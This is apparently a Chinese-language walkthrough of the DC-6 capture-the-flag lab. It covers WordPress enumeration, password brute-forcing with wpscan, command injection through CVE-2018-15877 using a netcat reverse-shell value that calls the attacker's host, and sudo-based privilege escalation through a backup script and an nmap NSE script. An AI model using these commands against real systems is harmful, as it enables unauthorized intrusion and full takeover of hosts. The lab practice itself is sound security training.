1.使用nmap进行信息搜集，存活主机，端口
192.168.85.184是存活主机，发现开放22，80端口
2.访问192.168.85.184的80端口
发现被重定向了，修改hosts文件
vim /etc/hosts
添加一行
192.168.85.174 wordy
3.对网站进行信息搜集并进行相关利用
找到一段信息
主要是说插件安全的问题，估计利用wordpress插件的漏洞
访问http://192.168.85.184/wp-includes，发现目录遍历，找到一些插件，尝试搜索相关漏洞利用，失败的
cms通过观察是wordpress，要知道wordpress有哪些漏洞就要知道版本
使用dirb对目录进行扫描
dirb http://192.168.85.184/
发现后台目录/wp-admin
尝试弱口令，失败
尝试sql注入，万能密码失败
4.使用wpscan对网站进行扫描
知道wordpress有哪些漏洞就要知道版本
扫描出版本 5.1.1，没找到漏洞
做靶机时要看一下官网描述
官网描述
只有一个flag，在root目录里
官网线索
主要说使用这个命令会节省你的时间
5.使用wpscan进行爆破
扫描用户名并写入user.txt
wpscan --url http://192.168.85.184 -e u
5个用户名写入user.txt
admin
mark
graham
sarah
jens
密码字典
gunzip rockyou.txt.gz #解压
cat /usr/share/wordlists/rockyou.txt | grep k01 > passwords.txt
爆破
wpscan --url http://192.168.85.184 -U user.txt -P pass.txt
用户名 mark
密码 helpdesk01
6.登录后台，寻找可以利用点
登录成功
在一些wordpress版本中，是可以上传插件和主题的，可以在这个地方直接上传一句话木马，注意上传插件时可能会失败，但是当你查看文件时时上传成功的，因为上传插件时是先上传在解压安装的，之后可以在msf的php或linux马继续上线，进行下一步操作
没有发现上传的位置
发现一个插件，搜索相关漏洞
找到CVE-2018-15877，是命令执行漏洞
7.利用cve-2018-15877
在 Activity Monito的tools处有命令执行
在3处输入命令，在4处点击执行，3处有长度限制，f12修改最大长度
有两个思路
写一句话木马
反弹shell
写一句话木马失败，可能是权限问题
3处反弹shell
127.0.0.1|nc -e /bin/bash 192.168.85.129 4455
kali nc监听
nc -lvnp 4455
python进入交互式会话
python -c ’import pty；pty.spawn("/bin/bash")'
成功反弹
8.对主机进行信息搜集，进行提权
查看内核版本，版本是4.0的版本，太高没有找到漏洞
uname -a
当前权限www-data
把有权限的地方都看一看
进入家目录
进入到jens的家目录，发现一个备份backups.sh,查看内容，是打包web根目录下的文件
这个地方想到了linux提权中的打包提权，查看权限是jens权限，不是root权限
查找suid权限，发现sudo
sudo -l #查看当前用户的一些sudo权限
继续搜集
进入mark家目录，发现graham密码
username:graham
passwd:GSo7isUM1D4
9.使用graham用户登录ssh或su 切换用户
ssh 192.168.85.184 -l graham
GSo7isUM1D4
执行下面命令发现可以jens执行backups.sh
sudo -l
可以不需要jens密码以jens权限执行backups.sh
当写入赋予find的s权限，在作为打包命令执行的参数执行前面的命令执行时，是不能执行的，因为sudo文件的一些命令被禁止了以root权限执行
有一个思路看一下其他用户登录时sudo -l可以执行什么，但是使用前面搜集的两个密码登录都失败了
还有一个思路可以写入/bin/bash,sudo可以切换到jens用户
echo '/bin/bash'>>/home/jens/backups.sh
#sudo -u以指定用户执行
sudo -u jens ./home/jens/backups.sh
成功切换到jens用户
10.nmap提权
执行以下命令，发现可以不需要密码以root执行nmap命令
sudo -l
写一个bash，以root权限执行
echo 'os.execute('/bin/bash')' >1.nse
sudo nmap --script=1.nse
id
参考文章：
dc-6
